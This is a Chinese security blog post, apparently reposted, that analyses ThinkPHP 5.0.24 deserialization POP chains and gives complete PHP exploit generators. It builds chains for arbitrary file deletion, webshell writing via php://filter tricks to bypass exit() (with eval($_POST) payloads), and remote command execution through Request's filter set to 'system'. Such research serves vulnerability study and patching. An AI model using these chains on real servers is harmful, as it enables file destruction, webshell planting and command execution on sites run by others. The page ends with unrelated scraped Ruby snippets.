草庐IT

TP 5.0.24反序列化漏洞分析

goddemon 2024-07-17 原文

前言

很久没发过文章了,最近在研究审计链条相关的东西,codeql,ast,以及一些java的东西很多东西还是没学明白就先不写出来丢人了,写这篇tp的原因呢
虽然这个漏洞的分析文章蛮多了,但是还是跟着看了下,一方面是因为以前对pop链挖掘一直学的懵懵懂懂的 ctf的一些pop链能出,但是到了框架里面自己就是挖不出来,所以就想着自己挖下tp反序列化的链子来看看,另一方面是想思考学习下php挖掘利用ast手法去该怎么入手(虽然后面这个问题还没解决),所以就有了这篇文章。

如果有什么问题 欢迎师傅们批评指教,提建议。

正文:

下载地址:http://www.thinkphp.cn/donate/download/id/1279.html

任意文件读取

https://www.anquanke.com/post/id/239242#h2-5
这篇的原理我就不分析了:
原理就是:连接数据库导致的任意文件读取,这种手法常拿来做蜜罐。

反序列化

因为tp本身的反序列化需要二开才能使用,因此我们得把入口函数改为如下
application/index/controller/index.php的内容改为如下的

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {   
        $a = $_GET['string'];
        unserialize($a);


    
    }
}

set方法前

然后进行直接搜索反序列化的 __destruct或者是__wakeup,这里搜索__destruct

一个一个看,发觉Windows类如下


这不就是一个纯纯的任意文件删除且触发__tostring()函数

<?php


namespace think\process\pipes;
class Windows 
{

    /** @var array */
    private $files = ["../abc.php","b.txt"];//这里控制想删除的文件即可
   
    
}
echo urlencode(serialize(new Windows));
?>

接着跟:因为file_exists触发了__tostring函数,因此直接接着跟__tostring函数
搜索得5个 一个一个跟过去

经过一个一个跟最后排除为如下
即从Model.php里面的__toJson()–>toArray()
toArrary()函数

具体的点 即典型变量–>函数找这种 且观察相关的变量是否可控 如果可控即可调用__call函数
这里最开始是思考可以调modelRelation和value参数进而去触发__call函数

先看modelRelation
modelRelation想要触发_call函数的几个条件
①this->append不为空且this->append as key => name
②method_exists(this,relation)存在这个方法
③method_exists(modelRelation, ‘getBindAttr’) 主要就是这个条件直接就把modelRelation触发__call给gg了
因为如果存在这个方法即必然$bindAttr = $modelRelation->getBindAttr();可以满足 即必然无法触发__call函数

再看value参数触发的条件
①this->append不为空且this->append as key => name
②method_exists(this,relation)
③method_exists(modelRelation, ‘getBindAttr’)
④$bindAttr
因此一个一个排查看能否满足这四个条件
第一个条件,因为append是我们自己定义的 因此这个我们可控,第一个条件可满足

第二个条件
method_exists(this, relation)即这个类中存在relation这个方法 且relation由name赋值给予的,即this->append=[‘该类中存在的方法名’];
满足这个即可,因为我们的relation后面还要赋值,因此最好找到可控的
一个一个方法找下去找到 两个满足条件的方法

自此第二个条件可满足,其这里选用的是getError()函数
第三个条件

method_exists($modelRelation, 'getBindAttr')

且由代码可知modelRelation由$this->relation()控制 而relation我们是可控的 因此我们只需要找到一个存在getBindAttr方法的且参数可控的类赋值给其即可
有一个OneToOne类中具有这个方法
且方法可控


但其为抽象类,因此我们直接找继承其的 找到两个相关类 随便选一个即可

这里选择的是BelongsTo这个类 this->error=new BelongsTo(); 赋值即可
第四个条件:

$bindAttr不为空 这个就更简单了
这个由$modelRelation->getBindAttr();方法控制这里的方法就相当于我们上面的$this->bindAttr参数
这个随便进行赋值下即可$this->bindAttr = ["test"=>"test"];  第四个条件满足
自此value参数可触发到 在具体跟value由谁赋值,如果value可控即可完整造成触发_call函数
这里的value参数由$this->getRelationData($modelRelation)方法获取 且由上面分析可知 $modelRelation变量可控


跟进getRelationData方法

发觉有2种情况赋予value值 看第一种
需要满足三个条件

第一:$this->parent存在 且$this->parent 可控,才可可控value值
第二:$modelRelation->isSelfRelation()不满足
第三:get_class($modelRelation->getModel()) == get_class($this->parent)

第一个条件
由于这个我们可以自己定义可控,第一个条件满足

第二个条件:

$modelRelation->isSelfRelation()
由于这里的$modelRelation变量被我们赋值为了BelongsTo的因此我们要看BelongsTo类里面能否有这个方法
直接跟过去


发觉是Relation类且该类为抽象类
因此我们直接找继承

OneToOne也是继承的他 而我们的BelongsTo继承的是OneToOne的 且该函数是直接返回的selfRelation变量且这个变量是自定义的 因为相当于第二个条件我们可以满足 直接不定义这个变量即可满足
第三个条件:

get_class($modelRelation->getModel()) == get_class($this->parent)

和上面的是一个情况 这个getModel在Relation中可存在如下定义即query变量可控 且我们控制的类BelongsTo也可以满足这个条件
即我们也可以可控query变量因此我们只要找到一个类里面的getModel方法我们可控即可满足这个条件


在这里的
Query和ModelNotFoundException均可满足这个条件


这里我们选用的是ModelNotFoundException这个类
走到这里value触发__call()函数完全就可通
构造如下

<?php

namespace think;
use think\Model\Relation\BelongsTo;
use think\console\Output;
abstract class Model 
{
	protected $append = [];
    protected $error;
    protected $parent;
    public function __construct()
    {

    	$this->append=['getError'];
    	$this->error=new BelongsTo();
    	$this->parent=new 我们想控制的类必须跟ModelNotFoundException的model是一样的();
    }
}

namespace think\model\relation;
use think\db\exception\ModelNotFoundException;
class BelongsTo 
{
    protected $query;//去进行触发下一条链
    protected $bindAttr = [];
    public function __construct()
    {
        $this->query = new ModelNotFoundException();
        $this->bindAttr = ["test"=>"test"];//这里随便不为空即可
    }
}

namespace think\db\exception;
use think\console\Output;
class ModelNotFoundException
{

	protected $model;
	public  function __construct()
	{
		$this->model=new 我们想控制的类();
	}
}
namespace think\model;
use think\Model;
class Merge  extends Model{

}
namespace think\process\pipes;
use think\model\Merge ;
class Windows 
{

    private $files = [];
    public function __construct()
    {

    $this->files=[new Merge()];  }
   
    
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows));
?>

到这里后我们接着找__call函数 且这里记住由于上面的method为getAttr 这里的_call的method一定也得是我们getAttr的
直接搜索

这里大概的过一下其他的主要就是method不可控导致的其他的_call函数无法调用
①think\File


②think\Model

③think\Paginator的


且collection可控, n a m e 不可控, name不可控, name不可控,arguments可控


④think\Requet
一样的method不可控导致

⑥think\Yar

⑦db\Connection
类名方法均不可控

⑧db\Query
一样的原因

⑨think\model\Relation

⑩think\view\driver\Think

这里只有第五条个__call函数可以思考利用
think\Output的这个
因为参数固定了即直接调用block函数且参数为$args

因此我们重点接着跟block函数

这里到了handle,handle是一个我们可以控制的变量,因此这里可以拿来做一层跳板

搜索有write类的方法 找到12个相关的


这里就不每个都写出来了
重点就是Memcache方法和Memcached方法 里面的handler可控,造成可以在做一次跳板

set方法相关的15个

走到了这里就可以有两种思路拿shell了
前面的payload构造

<?php

namespace think;
use think\Model\Relation\BelongsTo;
use think\console\Output;
abstract class Model 
{
	protected $append = [];
    protected $error;
    protected $parent;
    public function __construct()
    {

    	$this->append=['getError'];
    	$this->error=new BelongsTo();
    	$this->parent=new Output();
    }
}

namespace think\model\relation;
use think\db\exception\ModelNotFoundException;
class BelongsTo 
{
    protected $query;//去进行触发下一条链
    protected $bindAttr = [];
    public function __construct()
    {
        $this->query = new ModelNotFoundException();
        $this->bindAttr = ["test"=>"test"];//这里随便不为空即可
    }
}

namespace think\db\exception;
use think\console\Output;
class ModelNotFoundException
{

	protected $model;
	public  function __construct()
	{
		$this->model=new Output();
	}
}

namespace think\console;
use think\session\driver\Memcached;
class Output{
    private $handle;//去触发Memcached的set,第一层跳板
    protected $styles = [
        "getAttr"
    ];
    public function __construct()
    {
        $this->handle = new Memcached();
    }

}


namespace think\session\driver;
use think\cache\driver\File;
class Memcached{
	protected $handler = null;
	function __construct(){
		$this->handler=new 存在set方法的调用类();

	}

}


namespace think\model;
use think\Model;
class Merge  extends Model{

}
namespace think\process\pipes;
use think\model\Merge ;
class Windows 
{

    private $files = [];
    public function __construct()
    {

    $this->files=[new Merge()];  }
   
    
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows));

?>

调用链:



toArray具体分析
因为append我们是可以可控的 因此重点关注value可控以及进入到value的三个条件即可

__call函数调用的原理

set方法后

任意文件写入

这个就是think\cache\driver\File.php文件的set方法导致的 这里面有个file_put_contents()方法

这里面文件名的获取方式:通过getCacheKey进行获取,且进行拼接options[‘path’]而name也可以等于options[‘prefix’] 因此文件名我们是完全可控的


但是内容是由data来的 data根据之前回溯可知是一个true变量 因此导致的问题就是内容是我们不可控的 当时因为走到了这里g了
但是往下走发觉

setTagItem这个方法中再次调用了file里面的set方法 且这里的set方法传进来的name是filename最后且赋值给了value参数 即导致上面的data是可控的了,因此只要满足执行setTagItem方法就可以导致任意文件写入了
条件即是
result,first为true,因为这里的result为写入内容的所以恒等于真,因此我们只需要把first整为存在即可
且又因为first由$this->tag和!is_file决定 且is_file我们可控,因此我们只需要满足tag为真即可,且这个tag是我们可控的因此我们是可以满足调用setTagItem方法的
走到了这里就是绕exit();方法了
最开始想不明白怎么绕

查了下相关的资料发觉可以利用伪协议来绕过
原理是因为
当file_put_contentes()的参数内容伪造协议的时候,默认会把内容按照这些编码,编码后去进行写入文件,从而绕过exit();函数。
liunx和windows对应的payload

linux绕过payload

php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG[\'pzq\']);?>

windows的

$this->options['path']=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php

自此一个完整的任意文件写入的链子就有了 且加入输入文件名的

<?php

namespace think;
use think\Model\Relation\BelongsTo;
use think\console\Output;
abstract class Model 
{
	protected $append = [];
    protected $error;
    protected $parent;
    public function __construct()
    {

    	$this->append=['getError'];
    	$this->error=new BelongsTo();
    	$this->parent=new Output();
    }
}

namespace think\model\relation;
use think\db\exception\ModelNotFoundException;
class BelongsTo 
{
    protected $query;//去进行触发下一条链
    protected $bindAttr = [];
    public function __construct()
    {
        $this->query = new ModelNotFoundException();
        $this->bindAttr = ["test"=>"test"];//这里随便不为空即可
    }
}

namespace think\db\exception;
use think\console\Output;
class ModelNotFoundException
{

	protected $model;
	public  function __construct()
	{
		$this->model=new Output();
	}
}

namespace think\console;
use think\session\driver\Memcached;
class Output{
    private $handle;//去触发Memcached的链
    protected $styles = [
        "getAttr"
    ];
    public function __construct()
    {
        $this->handle = new Memcached();
    }

}


namespace think\session\driver;
use think\cache\driver\File;
class Memcached{
	protected $handler = null;
	function __construct(){
		$this->handler=new File();

	}

}
namespace think\cache;
abstract class Driver
{
   
}

namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver
{
	protected $tag;
	protected $options=[];
	public function __construct(){
	$this->options = [
        'expire'        => 0,
        'cache_subdir'  => false,
        'prefix'        => '',
        'path'          => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgcGhwaW5mbygpOz8+IA==/../a.php',
        'data_compress' => false,
    ];
      $this->tag = true;
	}
    public function get_filename()
    {
        $name = md5('tag_' . md5($this->tag));
        $filename = $this->options['path'];
        $pos = strpos($filename, "/../");
        $filename = urlencode(substr($filename, $pos + strlen("/../")));
        return $filename . $name . ".php";
    }

}

namespace think\model;
use think\Model;
class Merge  extends Model{

}
namespace think\process\pipes;
use think\model\Merge ;
class Windows 
{

    private $files = [];
    public function __construct()
    {

    $this->files=[new Merge()];  }
   
    
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows));

use think\cache\driver\File;
echo "\n";
$fx = new File();
echo $fx->get_filename();
?>




调用链:

RCE

set方法之前和前面一样set方法后有区别了
set选择的时候也可以选择
think\cache\driver\Memcache.php或者think\cache\driver\Memcached.php这两个方法
里面有个has($name)方法
当tag为真时进入到has()方法中去,因此这里的tag需要赋一个值不能为空

重点就是这里了 这里的handler又可以做一个跳板 且调用的是get方法 走到这里就可以走tp的经典request->get导致rce了


经典回调函数导致RCE

<?php

namespace think;
use think\Model\Relation\BelongsTo;
use think\console\Output;
abstract class Model 
{
	protected $append = [];
    protected $error;
    protected $parent;
    public function __construct()
    {

    	$this->append=['getError'];
    	$this->error=new BelongsTo();
    	$this->parent=new Output();
    }
}
namespace think\model\relation;
use think\db\exception\ModelNotFoundException;
class BelongsTo 
{
    protected $query;//去进行触发下一条链
    protected $bindAttr = [];
    public function __construct()
    {
        $this->query = new ModelNotFoundException();
        $this->bindAttr = ["test"=>"test"];//这里随便不为空即可
    }
}

namespace think\db\exception;
use think\console\Output;
class ModelNotFoundException
{

	protected $model;
	public  function __construct()
	{
		$this->model=new Output();
	}
}

namespace think\console;
use think\session\driver\Memcached;
class Output{
    private $handle;//去触发Memcached的链
    protected $styles = [
        "getAttr"
    ];
    public function __construct()
    {
        $this->handle = new Memcached();
    }

}
namespace think\cache;
abstract class Driver{
 
}
 
namespace think\session\driver;
use think\cache\driver\Memcache;//这里是write的方法
use think\cache\Driver;
class Memcached {               
    protected $handler;
    public function __construct()
    {
        $this->handler = new Memcache();
    }

}
namespace think\cache\driver;
use think\Request;
class Memcache{
    protected $tag = "test";
    protected $handler;//触发Request的链
    protected $options = ['prefix'=>'goddemon/'];
    public function __construct()
    {
        $this->handler = new Request();
    }
}

namespace think;
class Request{
    protected $get = ["goddemon"=>'whoami'];
    protected $filter;
    public function __construct()
    {
        $this->filter = 'system';
    }
}
namespace think\model;
use think\Model;
class Merge  extends Model{

}
namespace think\process\pipes;
use think\model\Merge ;
class Windows 
{

    /** @var array */
    private $files = [];
    public function __construct()
    {

    $this->files=[new Merge()];  }
   
    
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows));
?>



打即可

这里有个坑就是 protected $options 必须需要赋值且和下面的get方法的名字必须是一样的
这里当时debug了一会
原理如下:
错误的示范:
当如这样时

因为name最后会进入到input方法中去进行切割,查找是否存在/ 存在的即分割然后赋予list 否则则type=‘s’
这也是为什么/不能少的原因


然后进行判断,判断是否存在 d a t a [ data[ data[val]即$data[name]即我们传入的name值,如果不存在则直接返回了 导致到不了filtervalue函数 进而无法rce 因此我们必须控制这里的prefix和get里面的为相同的

正确的即rce链中的方式

调用链:

有关TP 5.0.24反序列化漏洞分析的更多相关文章

  1. ruby - 是否有用于序列化和反序列化各种格式的对象层次结构的模式? - 2

    给定一个复杂的对象层次结构,幸运的是它不包含循环引用,我如何实现支持各种格式的序列化?我不是来讨论实际实现的。相反,我正在寻找可能会派上用场的设计模式提示。更准确地说:我正在使用Ruby,我想解析XML和JSON数据以构建复杂的对象层次结构。此外,应该可以将该层次结构序列化为JSON、XML和可能的HTML。我可以为此使用Builder模式吗?在任何提到的情况下,我都有某种结构化数据-无论是在内存中还是文本中-我想用它来构建其他东西。我认为将序列化逻辑与实际业务逻辑分开会很好,这样我以后就可以轻松支持多种XML格式。 最佳答案 我最

  2. ruby-on-rails - carrierwave:在序列化动态属性上安装 uploader - 2

    首先,我使用的是rails3.1.3和来自master的carrierwavegithub仓库的分支。我使用after_init钩子(Hook)来确定基于属性的字段页面模型实例并为这些字段定义属性访问器将值存储在序列化哈希中(希望它清楚我是什么谈论)。这是我正在做的事情的精简版:classPage省略mount_uploader命令让我可以访问我想要的属性。但是当我安装uploader时出现错误消息说“nil类的未定义新方法”我在源代码中读到有方法read_uploader和扩展模块中的write_uploader。我如何必须覆盖这些来制作mount_uploader命令使用我的“虚拟

  3. 建模分析 | 平面2R机器人(二连杆)运动学与动力学建模(附Matlab仿真) - 2

    目录0专栏介绍1平面2R机器人概述2运动学建模2.1正运动学模型2.2逆运动学模型2.3机器人运动学仿真3动力学建模3.1计算动能3.2势能计算与动力学方程3.3动力学仿真0专栏介绍?附C++/Python/Matlab全套代码?课程设计、毕业设计、创新竞赛必备!详细介绍全局规划(图搜索、采样法、智能算法等);局部规划(DWA、APF等);曲线优化(贝塞尔曲线、B样条曲线等)。?详情:图解自动驾驶中的运动规划(MotionPlanning),附几十种规划算法1平面2R机器人概述如图1所示为本文的研究本体——平面2R机器人。对参数进行如下定义:机器人广义坐标

  4. 网站日志分析软件--让网站日志分析工作变得更简单 - 2

    网站的日志分析,是seo优化不可忽视的一门功课,但网站越大,每天产生的日志就越大,大站一天都可以产生几个G的网站日志,如果光靠肉眼去分析,那可能看到猴年马月都看不完,因此借助网站日志分析工具去分析网站日志,那将会使网站日志分析工作变得更简单。下面推荐两款网站日志分析软件。第一款:逆火网站日志分析器逆火网站日志分析器是一款功能全面的网站服务器日志分析软件。通过分析网站的日志文件,不仅能够精准的知道网站的访问量、网站的访问来源,网站的广告点击,访客的地区统计,搜索引擎关键字查询等,还能够一次性分析多个网站的日志文件,让你轻松管理网站。逆火网站日志分析器下载地址:https://pan.baidu.

  5. ABB-IRB-1200运动学分析MATLAB RVC工具分析+Simulink-Adams联合仿真 - 2

    一、机器人介绍        此处是基于MATLABRVC工具箱,对ABB-IRB-1200型号的微型机械臂进行正逆向运动学分析,并利Simulink工具实现对机械臂进行具有动力学参数的末端轨迹规划仿真,最后根据机械模型设计Simulink-Adams联合仿真。 图1.ABBIRB 1200尺寸参数示意图ABBIRB 1200提供的两种型号广泛适用于各作业,且两者间零部件通用,两种型号的工作范围分别为700 mm 和 900 mm,大有效负载分别为 7 kg 和5 kg。 IRB 1200 能够在狭小空间内能发挥其工作范围与性能优势,具有全新的设计、小型化的体积、高效的性能、易于集成、便捷的接

  6. 关于Qt程序打包后运行库依赖的常见问题分析及解决方法 - 2

    目录一.大致如下常见问题:(1)找不到程序所依赖的Qt库version`Qt_5'notfound(requiredby(2)CouldnotLoadtheQtplatformplugin"xcb"in""eventhoughitwasfound(3)打包到在不同的linux系统下,或者打包到高版本的相同系统下,运行程序时,直接提示段错误即segmentationfault,或者Illegalinstruction(coredumped)非法指令(4)ldd应用程序或者库,查看运行所依赖的库时,直接报段错误二.问题逐个分析,得出解决方法:(1)找不到程序所依赖的Qt库version`Qt_5'

  7. ruby-on-rails - Rails 编辑序列化的 JSON 数据 - 2

    我有一个存储JSON数据的列。当它处于编辑状态时,我不知道如何显示它。serialize:value,JSON=f.fields_for:valuedo|ff|.form-group=ff.label:short=ff.text_field:short,class:'form-control'.form-group=ff.label:long=ff.text_field:long,class:'form-control' 最佳答案 代替=f.fields_for:valuedo|ff|请使用以下代码:=f.fields_for:va

  8. ruby-on-rails - 如何使用 ruby​​-prof 和 JMeter 分析 Rails - 2

    我想使用ruby​​-prof和JMeter分析Rails应用程序。我对分析特定Controller/操作/或模型方法的建议方法不感兴趣,我想分析完整堆栈,从上到下。所以我运行这样的东西:RAILS_ENV=productionruby-prof-fprof.outscript/server>/dev/null然后我在上面运行我的JMeter测试计划。然而,问题是使用CTRL+C或SIGKILL中断它也会在ruby​​-prof可以写入任何输出之前杀死它。如何在不中断ruby​​-prof的情况下停止mongrel服务器? 最佳答案

  9. ruby-on-rails - 序列化时无法将空数组保存到数据库 - 2

    在RubyonRails中,如果数组为空,则具有序列化数组字段的模型将不会在.save()上更新,而它之前有数据。我正在使用:ruby2.2.1rails4.2.1sqlite31.3.10我创建了一个字段设置为文本的新模型:railsgmodel用户名:stringexample:text在我添加的User.rb文件中:serialize:example,Array我实例化了User类的一个新实例:test=User.new然后我保存用户以确保它正确保存:test.save()(0.1ms)begintransactionSQL(0.4ms)INSERTINTO"users"("cr

  10. ruby - 加载使用 YAML 序列化的对象时调用初始化 - 2

    是否可以在使用YAML.load_file时强制Ruby调用初始化方法?我想调用该方法以便为我不序列化的实例变量提供值。我知道我可以将代码分解成一个单独的方法并在调用YAML.load_file之后调用该方法,但我想知道是否有更优雅的方法来处理这个问题。 最佳答案 我认为你做不到。由于您要添加的代码确实特定于要反序列化的类,因此您应该考虑在类中添加该功能。例如,让Foo成为您要反序列化的类,您可以添加一个类方法,例如:classFoodefself.from_yaml(yaml)foo=YAML::load(yaml)#editth

随机推荐